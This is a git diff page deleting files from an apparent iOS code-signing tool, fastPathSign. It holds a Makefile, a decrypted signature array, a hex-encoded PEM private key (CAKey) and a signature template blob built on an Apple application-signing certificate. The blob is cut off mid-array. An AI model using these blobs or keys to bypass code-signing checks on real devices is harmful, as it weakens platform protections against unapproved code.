Compare commits

..

No commits in common. "3fe3e7f241e436bb8b3c35d94746057e280a9a4a" and "27534fb48d53b985c4880b17e8d0577b9d66e47e" have entirely different histories.

70 changed files with 568 additions and 5723 deletions

View File

@ -1 +0,0 @@
fastPathSign

View File

@ -1,12 +0,0 @@
TARGET = fastPathSign
CC = clang
CFLAGS = -framework Foundation -framework CoreServices -framework Security -fobjc-arc $(shell pkg-config --cflags libcrypto) -Isrc/external/include
LDFLAGS = $(shell pkg-config --libs libcrypto) -Lsrc/external/lib -lchoma
$(TARGET): $(wildcard src/*.m src/*.c)
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
clean:
@rm -f $(TARGET)

File diff suppressed because it is too large Load Diff

View File

@ -1,8 +0,0 @@
unsigned char DecryptedSignature[] = {
0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03,
0x04, 0x02, 0x01, 0x05, 0x00, 0x04, 0x20, 0xe2, 0x34, 0xf9, 0x25, 0x65,
0xa4, 0x33, 0xb7, 0x13, 0x67, 0xc8, 0x63, 0x93, 0xdc, 0x41, 0xaa, 0xc4,
0x0e, 0x76, 0xa0, 0x80, 0x29, 0x8b, 0x38, 0x9e, 0xc5, 0x6d, 0xd6, 0xba,
0xef, 0xbf, 0x0d
};
unsigned int DecryptedSignature_len = 51;

View File

@ -1,145 +0,0 @@
unsigned char CAKey[] = {
0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x42, 0x45, 0x47, 0x49, 0x4e, 0x20, 0x50,
0x52, 0x49, 0x56, 0x41, 0x54, 0x45, 0x20, 0x4b, 0x45, 0x59, 0x2d, 0x2d,
0x2d, 0x2d, 0x2d, 0x0a, 0x4d, 0x49, 0x49, 0x45, 0x76, 0x51, 0x49, 0x42,
0x41, 0x44, 0x41, 0x4e, 0x42, 0x67, 0x6b, 0x71, 0x68, 0x6b, 0x69, 0x47,
0x39, 0x77, 0x30, 0x42, 0x41, 0x51, 0x45, 0x46, 0x41, 0x41, 0x53, 0x43,
0x42, 0x4b, 0x63, 0x77, 0x67, 0x67, 0x53, 0x6a, 0x41, 0x67, 0x45, 0x41,
0x41, 0x6f, 0x49, 0x42, 0x41, 0x51, 0x43, 0x2b, 0x45, 0x79, 0x35, 0x49,
0x69, 0x68, 0x4b, 0x59, 0x57, 0x55, 0x39, 0x50, 0x0a, 0x58, 0x31, 0x76,
0x52, 0x54, 0x35, 0x64, 0x63, 0x37, 0x65, 0x6a, 0x57, 0x51, 0x2b, 0x6b,
0x2b, 0x4a, 0x6f, 0x49, 0x34, 0x49, 0x68, 0x68, 0x57, 0x52, 0x53, 0x48,
0x32, 0x38, 0x4c, 0x6a, 0x50, 0x34, 0x32, 0x6f, 0x58, 0x33, 0x38, 0x35,
0x79, 0x62, 0x61, 0x32, 0x6f, 0x66, 0x54, 0x48, 0x35, 0x6f, 0x55, 0x70,
0x7a, 0x37, 0x67, 0x64, 0x4c, 0x6c, 0x61, 0x68, 0x59, 0x44, 0x67, 0x58,
0x5a, 0x0a, 0x42, 0x31, 0x73, 0x39, 0x52, 0x37, 0x76, 0x4f, 0x66, 0x58,
0x35, 0x4c, 0x4d, 0x48, 0x62, 0x6b, 0x35, 0x43, 0x71, 0x66, 0x53, 0x45,
0x59, 0x38, 0x36, 0x43, 0x50, 0x72, 0x61, 0x38, 0x65, 0x76, 0x31, 0x57,
0x51, 0x6a, 0x5a, 0x76, 0x38, 0x6c, 0x32, 0x6d, 0x70, 0x2b, 0x6c, 0x54,
0x37, 0x44, 0x44, 0x65, 0x62, 0x47, 0x42, 0x70, 0x44, 0x47, 0x69, 0x69,
0x38, 0x66, 0x79, 0x32, 0x4f, 0x49, 0x0a, 0x6f, 0x44, 0x79, 0x64, 0x79,
0x6f, 0x56, 0x6e, 0x67, 0x47, 0x37, 0x68, 0x54, 0x72, 0x64, 0x68, 0x2f,
0x6f, 0x47, 0x4c, 0x55, 0x77, 0x63, 0x30, 0x56, 0x6c, 0x69, 0x6d, 0x52,
0x6c, 0x68, 0x67, 0x4a, 0x45, 0x53, 0x73, 0x70, 0x31, 0x79, 0x36, 0x71,
0x38, 0x46, 0x30, 0x62, 0x56, 0x79, 0x42, 0x34, 0x68, 0x75, 0x34, 0x4f,
0x6f, 0x66, 0x73, 0x43, 0x49, 0x61, 0x64, 0x68, 0x76, 0x6e, 0x4a, 0x0a,
0x44, 0x46, 0x33, 0x30, 0x58, 0x4e, 0x6e, 0x34, 0x65, 0x6e, 0x34, 0x67,
0x70, 0x5a, 0x56, 0x53, 0x63, 0x45, 0x76, 0x30, 0x6c, 0x6e, 0x37, 0x6b,
0x4d, 0x42, 0x45, 0x76, 0x58, 0x42, 0x6b, 0x4f, 0x70, 0x6d, 0x75, 0x58,
0x55, 0x6d, 0x6a, 0x58, 0x31, 0x32, 0x66, 0x70, 0x6b, 0x64, 0x72, 0x71,
0x79, 0x39, 0x52, 0x77, 0x75, 0x68, 0x45, 0x49, 0x75, 0x46, 0x53, 0x34,
0x53, 0x47, 0x46, 0x43, 0x0a, 0x34, 0x4b, 0x35, 0x54, 0x49, 0x38, 0x41,
0x58, 0x76, 0x57, 0x32, 0x78, 0x70, 0x52, 0x4f, 0x67, 0x5a, 0x62, 0x58,
0x71, 0x6b, 0x5a, 0x71, 0x6c, 0x4c, 0x34, 0x37, 0x43, 0x4f, 0x35, 0x46,
0x77, 0x6e, 0x5a, 0x35, 0x75, 0x6e, 0x7a, 0x35, 0x6e, 0x30, 0x39, 0x64,
0x69, 0x4f, 0x39, 0x79, 0x57, 0x48, 0x76, 0x4d, 0x4c, 0x52, 0x36, 0x38,
0x6d, 0x50, 0x4e, 0x30, 0x4f, 0x41, 0x4c, 0x39, 0x76, 0x0a, 0x4a, 0x4a,
0x34, 0x48, 0x50, 0x4f, 0x56, 0x64, 0x41, 0x67, 0x4d, 0x42, 0x41, 0x41,
0x45, 0x43, 0x67, 0x67, 0x45, 0x41, 0x42, 0x33, 0x73, 0x44, 0x52, 0x51,
0x30, 0x55, 0x44, 0x73, 0x56, 0x6a, 0x43, 0x75, 0x31, 0x6d, 0x6c, 0x47,
0x34, 0x45, 0x74, 0x37, 0x35, 0x51, 0x50, 0x64, 0x43, 0x46, 0x35, 0x7a,
0x47, 0x47, 0x53, 0x66, 0x58, 0x44, 0x6a, 0x65, 0x2b, 0x69, 0x46, 0x74,
0x45, 0x69, 0x0a, 0x41, 0x4f, 0x4b, 0x44, 0x48, 0x43, 0x58, 0x74, 0x66,
0x74, 0x44, 0x6b, 0x74, 0x76, 0x38, 0x59, 0x58, 0x71, 0x6e, 0x7a, 0x6e,
0x32, 0x7a, 0x6b, 0x67, 0x68, 0x76, 0x46, 0x65, 0x4a, 0x4f, 0x79, 0x74,
0x4c, 0x67, 0x6d, 0x70, 0x64, 0x71, 0x44, 0x49, 0x47, 0x30, 0x4e, 0x63,
0x61, 0x47, 0x61, 0x61, 0x45, 0x63, 0x33, 0x69, 0x7a, 0x58, 0x42, 0x74,
0x2b, 0x64, 0x74, 0x39, 0x48, 0x65, 0x31, 0x0a, 0x4c, 0x2b, 0x30, 0x65,
0x79, 0x41, 0x72, 0x6e, 0x61, 0x30, 0x4b, 0x31, 0x6b, 0x72, 0x35, 0x47,
0x62, 0x6c, 0x42, 0x48, 0x66, 0x77, 0x38, 0x6d, 0x6c, 0x76, 0x32, 0x38,
0x76, 0x59, 0x78, 0x59, 0x59, 0x6a, 0x6e, 0x6d, 0x4d, 0x4e, 0x4b, 0x56,
0x33, 0x66, 0x30, 0x75, 0x76, 0x2f, 0x54, 0x45, 0x59, 0x46, 0x6d, 0x76,
0x47, 0x50, 0x2f, 0x66, 0x52, 0x6e, 0x62, 0x49, 0x66, 0x65, 0x43, 0x77,
0x0a, 0x2f, 0x2b, 0x57, 0x57, 0x71, 0x37, 0x7a, 0x4c, 0x45, 0x7a, 0x55,
0x62, 0x73, 0x6d, 0x53, 0x46, 0x46, 0x68, 0x37, 0x52, 0x35, 0x77, 0x6d,
0x70, 0x37, 0x61, 0x62, 0x64, 0x58, 0x4a, 0x49, 0x72, 0x55, 0x59, 0x61,
0x67, 0x38, 0x38, 0x79, 0x76, 0x32, 0x57, 0x4b, 0x31, 0x4b, 0x71, 0x70,
0x50, 0x6d, 0x6c, 0x32, 0x61, 0x63, 0x78, 0x56, 0x65, 0x73, 0x38, 0x42,
0x73, 0x69, 0x34, 0x4b, 0x75, 0x0a, 0x2f, 0x4c, 0x35, 0x62, 0x46, 0x66,
0x59, 0x66, 0x50, 0x33, 0x50, 0x37, 0x5a, 0x45, 0x7a, 0x7a, 0x31, 0x55,
0x5a, 0x68, 0x34, 0x75, 0x47, 0x68, 0x49, 0x57, 0x6c, 0x53, 0x75, 0x77,
0x67, 0x4e, 0x71, 0x79, 0x71, 0x79, 0x4b, 0x67, 0x65, 0x62, 0x34, 0x31,
0x43, 0x78, 0x50, 0x53, 0x71, 0x63, 0x4c, 0x54, 0x63, 0x61, 0x30, 0x59,
0x38, 0x55, 0x34, 0x31, 0x62, 0x75, 0x76, 0x71, 0x4d, 0x46, 0x0a, 0x56,
0x63, 0x2b, 0x75, 0x31, 0x55, 0x2f, 0x34, 0x67, 0x6d, 0x54, 0x45, 0x58,
0x6e, 0x5a, 0x79, 0x46, 0x6b, 0x79, 0x47, 0x30, 0x34, 0x68, 0x57, 0x38,
0x4f, 0x64, 0x49, 0x49, 0x58, 0x51, 0x77, 0x67, 0x6a, 0x49, 0x78, 0x64,
0x48, 0x58, 0x58, 0x32, 0x51, 0x4b, 0x42, 0x67, 0x51, 0x44, 0x66, 0x64,
0x77, 0x63, 0x52, 0x4a, 0x50, 0x43, 0x2f, 0x49, 0x46, 0x30, 0x65, 0x31,
0x53, 0x75, 0x53, 0x0a, 0x66, 0x55, 0x4c, 0x65, 0x63, 0x31, 0x48, 0x65,
0x51, 0x56, 0x6d, 0x52, 0x74, 0x4b, 0x71, 0x6c, 0x35, 0x69, 0x6a, 0x50,
0x42, 0x5a, 0x5a, 0x6a, 0x37, 0x78, 0x2b, 0x73, 0x47, 0x49, 0x6b, 0x2f,
0x4e, 0x4d, 0x6f, 0x7a, 0x61, 0x6b, 0x70, 0x65, 0x2b, 0x4f, 0x69, 0x54,
0x62, 0x4f, 0x52, 0x37, 0x37, 0x70, 0x30, 0x39, 0x52, 0x2f, 0x2b, 0x62,
0x52, 0x71, 0x2b, 0x6f, 0x73, 0x61, 0x6c, 0x5a, 0x0a, 0x30, 0x56, 0x46,
0x59, 0x52, 0x30, 0x62, 0x42, 0x77, 0x4a, 0x6e, 0x66, 0x43, 0x36, 0x30,
0x36, 0x35, 0x54, 0x45, 0x39, 0x35, 0x48, 0x2b, 0x33, 0x75, 0x30, 0x57,
0x4e, 0x2f, 0x55, 0x50, 0x39, 0x4e, 0x58, 0x4b, 0x70, 0x4e, 0x49, 0x59,
0x71, 0x73, 0x43, 0x69, 0x4c, 0x53, 0x33, 0x57, 0x48, 0x67, 0x73, 0x62,
0x4e, 0x30, 0x43, 0x56, 0x46, 0x53, 0x54, 0x35, 0x76, 0x62, 0x76, 0x71,
0x31, 0x0a, 0x4a, 0x33, 0x50, 0x30, 0x77, 0x42, 0x41, 0x75, 0x2b, 0x2f,
0x6f, 0x34, 0x46, 0x35, 0x70, 0x6b, 0x70, 0x5a, 0x62, 0x36, 0x38, 0x34,
0x79, 0x4e, 0x78, 0x51, 0x4b, 0x42, 0x67, 0x51, 0x44, 0x5a, 0x76, 0x36,
0x52, 0x67, 0x79, 0x45, 0x47, 0x77, 0x53, 0x59, 0x56, 0x31, 0x49, 0x35,
0x63, 0x5a, 0x68, 0x2f, 0x66, 0x2b, 0x6f, 0x53, 0x49, 0x37, 0x74, 0x6b,
0x52, 0x62, 0x58, 0x74, 0x37, 0x46, 0x0a, 0x4e, 0x75, 0x2f, 0x71, 0x35,
0x66, 0x6f, 0x37, 0x58, 0x74, 0x54, 0x53, 0x6f, 0x38, 0x72, 0x53, 0x6a,
0x2f, 0x66, 0x79, 0x35, 0x35, 0x42, 0x6f, 0x58, 0x4c, 0x61, 0x7a, 0x53,
0x65, 0x61, 0x6e, 0x62, 0x68, 0x43, 0x58, 0x6e, 0x48, 0x39, 0x53, 0x67,
0x6f, 0x52, 0x77, 0x77, 0x56, 0x44, 0x49, 0x4a, 0x48, 0x2f, 0x42, 0x46,
0x35, 0x75, 0x6e, 0x74, 0x6e, 0x47, 0x72, 0x64, 0x5a, 0x64, 0x69, 0x0a,
0x47, 0x45, 0x56, 0x55, 0x4f, 0x4d, 0x53, 0x2b, 0x73, 0x70, 0x7a, 0x4b,
0x64, 0x42, 0x70, 0x4a, 0x49, 0x51, 0x43, 0x59, 0x4b, 0x38, 0x74, 0x54,
0x49, 0x62, 0x76, 0x78, 0x30, 0x4a, 0x4a, 0x68, 0x53, 0x66, 0x67, 0x7a,
0x44, 0x65, 0x68, 0x38, 0x4a, 0x64, 0x4f, 0x57, 0x56, 0x42, 0x68, 0x49,
0x43, 0x61, 0x51, 0x6f, 0x50, 0x31, 0x62, 0x71, 0x77, 0x36, 0x4a, 0x2b,
0x78, 0x71, 0x30, 0x35, 0x0a, 0x75, 0x4f, 0x37, 0x64, 0x70, 0x57, 0x6e,
0x4b, 0x75, 0x51, 0x4b, 0x42, 0x67, 0x47, 0x74, 0x77, 0x2b, 0x53, 0x37,
0x66, 0x43, 0x66, 0x6c, 0x37, 0x41, 0x41, 0x72, 0x52, 0x42, 0x33, 0x41,
0x5a, 0x56, 0x63, 0x74, 0x4b, 0x75, 0x76, 0x51, 0x58, 0x69, 0x34, 0x38,
0x6f, 0x78, 0x46, 0x75, 0x62, 0x65, 0x38, 0x64, 0x39, 0x73, 0x6a, 0x38,
0x2b, 0x4f, 0x34, 0x59, 0x74, 0x44, 0x65, 0x41, 0x62, 0x0a, 0x36, 0x35,
0x51, 0x6f, 0x36, 0x4c, 0x55, 0x64, 0x44, 0x41, 0x58, 0x46, 0x39, 0x31,
0x30, 0x32, 0x37, 0x74, 0x63, 0x47, 0x42, 0x50, 0x6d, 0x4e, 0x56, 0x4f,
0x76, 0x51, 0x37, 0x39, 0x48, 0x46, 0x65, 0x45, 0x7a, 0x76, 0x69, 0x43,
0x2b, 0x6b, 0x41, 0x4e, 0x64, 0x69, 0x37, 0x39, 0x6b, 0x2f, 0x56, 0x52,
0x75, 0x69, 0x2f, 0x31, 0x31, 0x42, 0x5a, 0x30, 0x48, 0x4c, 0x6f, 0x61,
0x4c, 0x65, 0x0a, 0x7a, 0x64, 0x42, 0x59, 0x39, 0x71, 0x45, 0x54, 0x72,
0x59, 0x71, 0x37, 0x72, 0x7a, 0x69, 0x47, 0x51, 0x6a, 0x75, 0x32, 0x64,
0x68, 0x55, 0x49, 0x45, 0x45, 0x4c, 0x58, 0x6f, 0x79, 0x62, 0x79, 0x58,
0x79, 0x67, 0x77, 0x4b, 0x42, 0x66, 0x50, 0x41, 0x78, 0x46, 0x78, 0x46,
0x38, 0x53, 0x49, 0x63, 0x54, 0x30, 0x62, 0x57, 0x46, 0x72, 0x5a, 0x41,
0x6f, 0x47, 0x41, 0x55, 0x6d, 0x69, 0x67, 0x0a, 0x4b, 0x6d, 0x79, 0x2f,
0x78, 0x35, 0x73, 0x62, 0x6f, 0x69, 0x69, 0x56, 0x44, 0x2f, 0x6d, 0x51,
0x6c, 0x74, 0x4b, 0x65, 0x35, 0x53, 0x42, 0x6e, 0x49, 0x48, 0x6c, 0x34,
0x4d, 0x41, 0x56, 0x4a, 0x71, 0x59, 0x6e, 0x65, 0x4f, 0x55, 0x66, 0x37,
0x6e, 0x62, 0x69, 0x56, 0x6b, 0x7a, 0x6b, 0x66, 0x61, 0x74, 0x50, 0x4f,
0x71, 0x47, 0x43, 0x6d, 0x57, 0x4a, 0x5a, 0x59, 0x62, 0x2f, 0x64, 0x4d,
0x0a, 0x32, 0x6b, 0x52, 0x46, 0x50, 0x35, 0x48, 0x62, 0x30, 0x39, 0x79,
0x6c, 0x32, 0x51, 0x6c, 0x50, 0x50, 0x47, 0x48, 0x56, 0x37, 0x42, 0x51,
0x31, 0x55, 0x75, 0x48, 0x50, 0x4b, 0x44, 0x58, 0x74, 0x54, 0x79, 0x47,
0x6f, 0x2f, 0x45, 0x38, 0x57, 0x33, 0x64, 0x77, 0x77, 0x38, 0x6f, 0x70,
0x46, 0x38, 0x6c, 0x46, 0x6f, 0x77, 0x77, 0x36, 0x61, 0x56, 0x62, 0x74,
0x4e, 0x47, 0x76, 0x72, 0x6d, 0x0a, 0x72, 0x31, 0x50, 0x4e, 0x4c, 0x2b,
0x63, 0x55, 0x2b, 0x2b, 0x6a, 0x5a, 0x77, 0x37, 0x47, 0x36, 0x61, 0x65,
0x30, 0x47, 0x31, 0x52, 0x53, 0x7a, 0x55, 0x2b, 0x32, 0x58, 0x4d, 0x36,
0x68, 0x55, 0x35, 0x70, 0x65, 0x71, 0x77, 0x53, 0x6b, 0x43, 0x67, 0x59,
0x45, 0x41, 0x67, 0x37, 0x37, 0x2f, 0x6f, 0x31, 0x67, 0x5a, 0x66, 0x58,
0x69, 0x58, 0x56, 0x69, 0x58, 0x52, 0x75, 0x2b, 0x4a, 0x38, 0x0a, 0x41,
0x30, 0x45, 0x44, 0x52, 0x4d, 0x30, 0x41, 0x43, 0x32, 0x79, 0x39, 0x62,
0x42, 0x75, 0x64, 0x7a, 0x44, 0x46, 0x4a, 0x46, 0x42, 0x47, 0x6b, 0x65,
0x38, 0x44, 0x4d, 0x58, 0x6d, 0x55, 0x62, 0x78, 0x47, 0x63, 0x48, 0x43,
0x62, 0x67, 0x75, 0x6e, 0x31, 0x77, 0x6c, 0x69, 0x4d, 0x44, 0x37, 0x32,
0x48, 0x45, 0x54, 0x62, 0x52, 0x77, 0x2f, 0x38, 0x2b, 0x32, 0x42, 0x6d,
0x55, 0x44, 0x31, 0x0a, 0x77, 0x46, 0x32, 0x38, 0x75, 0x4d, 0x4b, 0x4e,
0x43, 0x51, 0x70, 0x31, 0x2b, 0x6d, 0x44, 0x57, 0x34, 0x77, 0x68, 0x63,
0x31, 0x75, 0x6d, 0x6b, 0x6f, 0x33, 0x43, 0x75, 0x4c, 0x42, 0x42, 0x44,
0x58, 0x7a, 0x41, 0x59, 0x38, 0x4c, 0x30, 0x6e, 0x4d, 0x44, 0x55, 0x52,
0x71, 0x4a, 0x46, 0x69, 0x46, 0x56, 0x45, 0x35, 0x41, 0x47, 0x75, 0x53,
0x4e, 0x52, 0x74, 0x53, 0x50, 0x55, 0x48, 0x46, 0x0a, 0x46, 0x46, 0x6a,
0x6b, 0x37, 0x31, 0x4e, 0x30, 0x47, 0x57, 0x74, 0x64, 0x51, 0x53, 0x6f,
0x76, 0x70, 0x52, 0x2b, 0x47, 0x52, 0x44, 0x45, 0x3d, 0x0a, 0x2d, 0x2d,
0x2d, 0x2d, 0x2d, 0x45, 0x4e, 0x44, 0x20, 0x50, 0x52, 0x49, 0x56, 0x41,
0x54, 0x45, 0x20, 0x4b, 0x45, 0x59, 0x2d, 0x2d, 0x2d, 0x2d, 0x2d, 0x0a
};
unsigned int CAKeyLength = 1704;

View File

@ -1,574 +0,0 @@
unsigned char TemplateSignatureBlob[] = {
0xfa, 0xde, 0x0b, 0x01, 0x00, 0x00, 0x1a, 0xbd, 0x30, 0x80, 0x06, 0x09,
0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x02, 0xa0, 0x80, 0x30,
0x80, 0x02, 0x01, 0x01, 0x31, 0x0f, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86,
0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, 0x80, 0x06,
0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x07, 0x01, 0x00, 0x00,
0xa0, 0x82, 0x12, 0x53, 0x30, 0x82, 0x04, 0x24, 0x30, 0x82, 0x03, 0x0c,
0xa0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x08, 0x40, 0x60, 0x57, 0xb3, 0xc9,
0xbf, 0x9d, 0xf0, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7,
0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00, 0x30, 0x73, 0x31, 0x2d, 0x30, 0x2b,
0x06, 0x03, 0x55, 0x04, 0x03, 0x0c, 0x24, 0x41, 0x70, 0x70, 0x6c, 0x65,
0x20, 0x69, 0x50, 0x68, 0x6f, 0x6e, 0x65, 0x20, 0x43, 0x65, 0x72, 0x74,
0x69, 0x66, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75,
0x74, 0x68, 0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x20, 0x30, 0x1e, 0x06,
0x03, 0x55, 0x04, 0x0b, 0x0c, 0x17, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66,
0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x41, 0x75, 0x74, 0x68,
0x6f, 0x72, 0x69, 0x74, 0x79, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55,
0x04, 0x0a, 0x0c, 0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e,
0x63, 0x2e, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13,
0x02, 0x55, 0x53, 0x30, 0x1e, 0x17, 0x0d, 0x31, 0x39, 0x30, 0x37, 0x31,
0x36, 0x30, 0x33, 0x35, 0x33, 0x32, 0x32, 0x5a, 0x17, 0x0d, 0x32, 0x31,
0x30, 0x38, 0x31, 0x34, 0x30, 0x33, 0x35, 0x33, 0x32, 0x32, 0x5a, 0x30,
0x61, 0x31, 0x0b, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02,
0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x0a, 0x0c,
0x0a, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x49, 0x6e, 0x63, 0x2e, 0x31,
0x0f, 0x30, 0x0d, 0x06, 0x03, 0x55, 0x04, 0x0b, 0x0c, 0x06, 0x69, 0x50,
0x68, 0x6f, 0x6e, 0x65, 0x31, 0x2c, 0x30, 0x2a, 0x06, 0x03, 0x55, 0x04,
0x03, 0x0c, 0x23, 0x41, 0x70, 0x70, 0x6c, 0x65, 0x20, 0x69, 0x50, 0x68,
0x6f, 0x6e, 0x65, 0x20, 0x4f, 0x53, 0x20, 0x41, 0x70, 0x70, 0x6c, 0x69,
0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x53, 0x69, 0x67, 0x6e, 0x69,
0x6e, 0x67, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86,
0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x01,
0x0f, 0x00, 0x30, 0x82, 0x01, 0x0a, 0x02, 0x82, 0x01, 0x01, 0x00, 0xcb,
0x4d, 0x05, 0x28, 0x65, 0x53, 0x8c, 0xd3, 0xec, 0x58, 0x78, 0x4d, 0x06,
0x54, 0xae, 0xa0, 0x5b, 0x54, 0x07, 0xb5, 0xf1, 0x14, 0xc3, 0x85, 0x5f,
0x94, 0x9b, 0xb5, 0x87, 0x62, 0x6c, 0x86, 0xc9, 0x67, 0xff, 0x06, 0x2e,
0x34, 0x9a, 0x56, 0x1e, 0x0f, 0x96, 0x52, 0x3e, 0xc7, 0x5e, 0x26, 0xa2,
0x68, 0xdc, 0xad, 0x7e, 0x51, 0xdf, 0xa4, 0x51, 0x43, 0x1b, 0xd3, 0x73,
0xa3, 0xc9, 0x8a, 0x35, 0x55, 0x39, 0x14, 0x36, 0x5d, 0xaf, 0x98, 0x4f,
0x53, 0x62, 0xb4, 0x71, 0x91, 0xfe, 0x3f, 0xbd, 0xb5, 0xb2, 0x3f, 0x59,
0x0f, 0xe1, 0xda, 0xef, 0x82, 0xb9, 0x63, 0x94, 0xf4, 0xb6, 0x01, 0x50,
0x75, 0xdd, 0xb9, 0xeb, 0xb8, 0x9c, 0xe0, 0x67, 0xb5, 0xdd, 0xa1, 0xcc,
0x68, 0x90, 0x4a, 0x6d, 0x4b, 0x07, 0xe4, 0xa9, 0x83, 0xde, 0x9a, 0xa2,
0xf5, 0x40, 0x5b, 0x30, 0x3a, 0x40, 0xbd, 0x11, 0x2d, 0x17, 0x18, 0xd7,
0xe1, 0xeb, 0xa0, 0xe7, 0xf0, 0x69, 0x0f, 0x28, 0x88, 0x8e, 0xf1, 0x1d,
0xfc, 0x47, 0xb9, 0x97, 0xe5, 0x14, 0xae, 0xc1, 0x4f, 0xaa, 0x9a, 0x30,
0xdb, 0x74, 0x0e, 0xf9, 0xf5, 0xc0, 0xa2, 0x5a, 0xc5, 0xf3, 0x77, 0x32,
0x2e, 0xbc, 0x21, 0xa6, 0x53, 0xa8, 0xef, 0x24, 0x99, 0x15, 0x0a, 0x66,
0x64, 0x81, 0xfa, 0x19, 0x17, 0x0e, 0x55, 0xd1, 0xf5, 0xcf, 0xbf, 0x75,
0x91, 0xcd, 0x7d, 0xaa, 0xa2, 0xa0, 0xa0, 0x67, 0xbb, 0x2c, 0xc6, 0xff,
0x59, 0x15, 0x0f, 0x65, 0x19, 0xfc, 0xad, 0x04, 0xa3, 0x34, 0x84, 0x90,
0x49, 0x1d, 0x60, 0x42, 0xaf, 0x0a, 0xc7, 0xb0, 0x47, 0x92, 0x6f, 0x14,
0xb6, 0xf1, 0x1d, 0x5e, 0x60, 0xe2, 0xe8, 0xb1, 0xfa, 0x28, 0xaf, 0x2c,
0xe9, 0x3b, 0x06, 0x77, 0x84, 0x31, 0xfa, 0x2d, 0x9b, 0x9b, 0x4e, 0xe4,
0x71, 0xac, 0x77, 0x02, 0x03, 0x01, 0x00, 0x01, 0xa3, 0x81, 0xcd, 0x30,
0x81, 0xca, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x13, 0x01, 0x01, 0xff,
0x04, 0x02, 0x30, 0x00, 0x30, 0x1f, 0x06, 0x03, 0x55, 0x1d, 0x23, 0x04,
0x18, 0x30, 0x16, 0x80, 0x14, 0x6f, 0xf1, 0x95, 0x18, 0x62, 0x5c, 0xe0,
0xc8, 0xf1, 0xc5, 0xed, 0x6c, 0x18, 0xc9, 0xe0, 0xd3, 0x64, 0x52, 0x98,
0x20, 0x30, 0x40, 0x06, 0x08, 0x2b, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01,
0x01, 0x04, 0x34, 0x30, 0x32, 0x30, 0x30, 0x06, 0x08, 0x2b, 0x06, 0x01,
0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x24, 0x68, 0x74, 0x74, 0x70, 0x3a,
0x2f, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x2e, 0x61, 0x70, 0x70, 0x6c, 0x65,
0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x6f, 0x63, 0x73, 0x70, 0x30, 0x33, 0x2d,
0x61, 0x69, 0x70, 0x63, 0x61, 0x30, 0x34, 0x30, 0x16, 0x06, 0x03, 0x55,
0x1d, 0x25, 0x01, 0x01, 0xff, 0x04, 0x0c, 0x30, 0x0a, 0x06, 0x08, 0x2b,
0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x1d, 0x06, 0x03, 0x55,
0x1d, 0x0e, 0x04, 0x16, 0x04, 0x14, 0x94, 0xb8, 0xc9, 0x60, 0x37, 0xb9,
0xfb, 0x8f, 0x0a, 0x5e, 0xd8, 0xa8, 0x8d, 0x65, 0x7c, 0xa3, 0x36, 0x39,
0x02, 0x30, 0x30, 0x0e, 0x06, 0x03, 0x55, 0x1d, 0x0f, 0x01, 0x01, 0xff,
0x04, 0x04, 0x03, 0x02, 0x07, 0x80, 0x30, 0x10, 0x06, 0x0a, 0x2a, 0x86,
0x48, 0x86, 0xf7, 0x63, 0x64, 0x06, 0x01, 0x03, 0x04, 0x02, 0x05, 0x00,
0x30, 0x0d, 0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01,
0x0b, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x78, 0xf3, 0x62, 0x53,
0x4b, 0x57, 0xfb, 0x4f, 0x61, 0x7f, 0x6f, 0x59, 0xd5, 0x37, 0x74, 0x4d,
0x7b, 0xd3, 0xca, 0x21, 0x5c, 0xbf, 0xae, 0x19, 0x86, 0xd2, 0xa3, 0x22,
0xa7, 0xf3, 0xe9, 0x39, 0xd9, 0x31, 0x49, 0x69, 0x26, 0xde, 0xff, 0x98,
0x8b, 0xea, 0x91, 0x90, 0x73, 0x76, 0x4e, 0x75, 0x2d, 0x63, 0x98, 0x80,
0x3f, 0xd7, 0xbe, 0x3c, 0x99, 0x83, 0xb9, 0x01, 0x43, 0x92, 0x03, 0xa6,
0x3a, 0x05, 0x4e, 0x57, 0x18, 0xd0, 0x8e, 0xdd, 0x1b, 0x0e, 0xde, 0x7d,
0xc4, 0x24, 0x0b, 0x42, 0x6d, 0x6f, 0xe4, 0x47, 0xd8, 0xc4, 0x78, 0x61,
0xb7, 0xc3, 0x42, 0xd2, 0xe7, 0x40, 0x79, 0x2f, 0x34, 0x30, 0x49, 0x9a,
0xaf, 0xb1, 0x9e, 0xa9, 0xfa, 0x66, 0x38, 0x78, 0x30, 0x68, 0x94, 0xdc,
